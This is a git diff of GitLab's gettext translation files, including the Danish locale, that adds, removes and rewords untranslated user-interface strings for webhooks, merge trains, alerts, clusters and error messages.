+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27748,21 +28564,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27772,6 +28588,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -28093,10 +28912,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -28105,6 +28924,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -28114,6 +28939,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -28150,9 +28978,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -28186,13 +29011,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -28276,10 +29101,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28492,6 +29317,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -28567,7 +29395,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28684,6 +29512,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28816,6 +29647,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -29122,12 +29956,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -29296,6 +30124,15 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "group"
msgstr ""
@@ -29341,9 +30178,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -29389,6 +30223,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -29542,9 +30379,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -29557,6 +30400,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29629,9 +30475,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29665,12 +30508,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29752,19 +30589,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29992,6 +30829,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -30040,9 +30880,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -30160,6 +30997,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -30178,6 +31018,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -30241,6 +31084,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/da_DK/gitlab.po b/locale/da_DK/gitlab.po
index 45971e3eb49..bd1283c895f 100644
--- a/locale/da_DK/gitlab.po
+++ b/locale/da_DK/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: da\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:44\n"
+"PO-Revision-Date: 2020-09-04 23:07\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
